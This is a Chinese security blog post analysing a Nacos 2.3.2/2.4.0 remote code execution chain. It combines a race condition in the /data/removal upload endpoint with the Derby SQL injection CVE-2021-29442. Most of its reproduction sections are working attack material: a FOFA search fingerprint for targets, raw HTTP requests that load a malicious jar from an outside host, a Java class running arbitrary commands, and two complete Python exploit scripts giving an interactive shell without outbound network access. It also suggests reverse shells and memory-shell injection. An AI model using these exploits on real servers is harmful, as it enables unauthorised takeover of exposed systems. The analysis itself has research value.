再不蹭热点就凉啦~
--vvmdx
-
0x01 简介
-
0x02 涉及软件
-
0x03 检索指纹
-
0x04 漏洞分析
-
执行用户上传的文件
-
条件竞争
-
SQL注入
-
0x05 漏洞复现
-
0x06 不出网利用姿势
-
准备
-
基于FUNCTION的不出网利用
-
基于PROCEDURE的不出网利用
-
0x07 延伸场景及总结
0x01 简介
Nacos(全称为 “Naming and Configuration Service”)是一个开源的分布式服务发现和配置管理平台,由阿里巴巴集团开发并开源。Nacos 提供了服务注册、发现、配置管理、动态 DNS 服务等功能,可帮助开发者构建弹性的、高可用的微服务架构。
0x02 涉及软件
nacos2.3.2
nacos2.4.0
0x03 检索指纹
fofa: app="NACOS"
0x04 漏洞分析
环境搭建:
git clone https://github.com/nacos-group/nacos-docker.git
cd nacos-docker
docker-compose -f example/standalone-derby.yaml up
该漏洞最早于2020年出现在https://github.com/alibaba/nacos/issues/4463 当时官方不认这个漏洞,认为是特性,默认的docker也没加鉴权,当时这个漏洞主要用于未授权查询SQL,现在配合另一个可造成命令执行的漏洞。
该漏洞有两个利用条件:
-
配合条件竞争执行恶意SQL,加载恶意jar并注册函数 -
利用2020年的nacos derby sql注入漏洞(CVE-2021-29442)调用恶意函数拿到回显结果
执行用户上传的文件
最新代码存在第二行鉴权行,然而最新版本的官方docker默认配置也不加鉴权
@PostMapping(value = "/data/removal")
@Secured(action = ActionTypes.WRITE, resource = "nacos/admin")
public DeferredResult<RestResult<String>> importDerby(@RequestParam(value = "file") MultipartFile multipartFile) {
DeferredResult<RestResult<String>> response = new DeferredResult<>();
if (!DatasourceConfiguration.isEmbeddedStorage()) {
response.setResult(RestResultUtils.failed("Limited to embedded storage mode"));
return response;
}
DatabaseOperate databaseOperate = ApplicationUtils.getBean(DatabaseOperate.class);
WebUtils.onFileUpload(multipartFile, file -> {
NotifyCenter.publishEvent(new DerbyImportEvent(false));
databaseOperate.dataImport(file).whenComplete((result, ex) -> {
NotifyCenter.publishEvent(new DerbyImportEvent(true));
if (Objects.nonNull(ex)) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
return;
}
response.setResult(result);
});
}, response);
return response;
}
条件竞争
对/data/removal
接口进行文件上传时,会创建临时文件记录数据,随后删除,关键函数为这个onFileUpload
函数
public static void onFileUpload(MultipartFile multipartFile, Consumer<File> consumer,
DeferredResult<RestResult<String>> response) {
if (Objects.isNull(multipartFile) || multipartFile.isEmpty()) {
response.setResult(RestResultUtils.failed("File is empty"));
return;
}
File tmpFile = null;
try {
tmpFile = DiskUtils.createTmpFile(multipartFile.getName(), TMP_SUFFIX);
multipartFile.transferTo(tmpFile);
consumer.accept(tmpFile);
} catch (Throwable ex) {
if (!response.isSetOrExpired()) {
response.setResult(RestResultUtils.failed(ex.getMessage()));
}
} finally {
DiskUtils.deleteQuietly(tmpFile);
}
}
这里用了类似生产-消费者的模式:
-
生产者会产生/tmp下的临时数据包,删除数据包的几个过程,消费者对取到的数据包进行导入数据库操作 -
个人理解这里的消费者操作是异步的,且代码中没有看到任何锁的机制 -
导入数据慢,删除数据快,消费者获取到的数据包很可能已经被删除了,呈现出我们直接访问接口上传恶意数据通常会报”找不到文件错误“ -
通过大并发发包,我们产生了大量的文件句柄,使得系统在删除对应的句柄时出现了迟缓,提高了消费者在数据删除前导入数据的机会,可以让消费者成功取到几次数据,实现恶意jar包的导入、从而导致恶意函数的创建。
条件竞争失败则返回
{"code":500,"message":"File '/tmp/file3339752271242765906.tmp' does not exist","data":null}
条件竞争成功则返回
{"code":200,"message":null,"data":""}
重复多次成功则返回already exists
{"code":500,"message":"org.springframework.dao.DataIntegrityViolationException: StatementCallback; SQL [CALL sqlj.install_jar('http://ip:port/download', 'NACOS.hPbTQwag', 0); CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag'); CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec']; Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.; nested exception is java.sql.BatchUpdateException: Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.","data":null}
SQL注入
SQL注入发生点则是一个2020年的漏洞(CVE-2021-29442),允许我们任意select,最新代码多了第二行鉴权行,然而默认最新版本的官方docker也不加鉴权,这也是风险所在
"/derby") (value =
"nacos/admin") //鉴权行 (action = ActionTypes.READ, resource =
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "SELECT";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (!DatasourceConfiguration.isEmbeddedStorage()) {
return RestResultUtils.failed("The current storage mode is not Derby");
}
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
/nacos/v1/cs/ops/derby
和/nacos/v1/cs/ops/data/removal
在使用Derby数据库作为内置数据源时,用于运维人员进行数据运维和问题排查-
derby接口可以做select查询 -
removal接口的本意应该是用于运维人员做数据迁移导入数据用的,在此漏洞的利用过程中,其提供了执行任意多条sql语句的作用,唯一疑惑的是这个接口在上传SQL代码时是概率性成功的,似乎不像一个正常功能
0x05 漏洞复现
首先需要配合条件竞争执行恶意sql,加载jar包并注册函数
请求包(需要网络环境较好的场景,通常需要重复发包100甚至上千次左右)直到结果返回success
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 496
Content-Type: multipart/form-data; boundary=80d34d17b69db69702aa0eb666e2f7fb
--80d34d17b69db69702aa0eb666e2f7fb
Content-Disposition: form-data; name="file"; filename="file"
CALL sqlj.install_jar('http://127.0.0.1:5001/download', 'NACOS.hPbTQwag', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag')
CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
--80d34d17b69db69702aa0eb666e2f7fb--
执行完上传文件的恶意sql后,就可以用CVE-2021-29442执行UDF函数实现RCE
GET /nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_hPbTQwag%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
0x06 不出网利用姿势
准备
接收参数并执行命令的类,测试时发现data/removal
接口不可返回内容,因此需要使用void的静态方法,否则CALL的时候会报错
恶意类:用于接收传参并执行命令
package example;
public class Test {
public static void main(String[] args) {
}
public static void exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
Process p = Runtime.getRuntime().exec(cmd);
} catch (Exception var10) {
}
}
}
src/META-INF/manifest.txt
Manifest-Version: 1.0
Main-Class: example.Test
编译、打包、编码
javac src/example/Test.java
jar -cvf payload.jar -C src/ .
cat payload.jar|base64
最终jar包目录结构:
├── payload.jar
└── src
├── META-INF
│ └── manifest.txt
└── example
├── Test.class
└── Test.java
基于FUNCTION的不出网利用
条件:需要两个接口有权访问
原理:利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE
写文件到本地再加载,实现不出网利用(使用方法参考derby官网文档[2])
import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b'' // 准备阶段获得的base64编码
payload = base64.b64decode(payload).hex()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
for i in range(1,10000):
if i % 100 == 0:
print(i // 100)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
""".format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
while True:
command = input('>>>')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)
基于PROCEDURE的不出网利用
条件:只需要data/removal
有权访问
该方法可以用于某些只拦截/derby
sql查询接口的waf
这个方法最早出现在lvyyevd的博客[1]中,原理是创建一个Java存储过程,而后可以调用类的静态方法
使用方法:derby官网文档[3]
import random, os
import requests
from urllib.parse import urljoin
import base64
payload = b''
payload = base64.b64decode(payload).hex()
def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
now_table = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2,8))
for i in range(1,10000):
if i % 100 == 0:
print(i)
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar}.jar')
CALL sqlj.install_jar('/tmp/{jar}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE PROCEDURE {table}(PARAM VARCHAR(200)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec'
CALL {table}('touch /tmp/666')n""".format(junk=os.urandom(3).hex(),table=now_table,payload=payload,id=now_id,jar=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
if not post_resp.json()['message'].startswith('File'):
print(post_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)
0x07 延伸场景及总结
-
该漏洞配合未授权漏洞可以实现命令执行(默认不改配置则不鉴权) -
配合nacos的任意用户创建漏洞/弱口令等实现授权后的命令执行 -
nacos多了一条执行命令的链路 -
修改jar包可直接注入内存马,更贴合实战 -
理论上部分出网场景中调第一个removal函数直接反弹shell也可
参考
[1].http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
[2].https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html
[3].https://db.apache.org/derby/docs/10.14/ref/rrefcreateprocedurestatement.html
[4].https://nacos.io/blog/announcement-derby-ops-api/?source=news_announcement/
原文始发于微信公众号(银针安全):Nacos RCE漏洞分析、复现及不出网利用姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论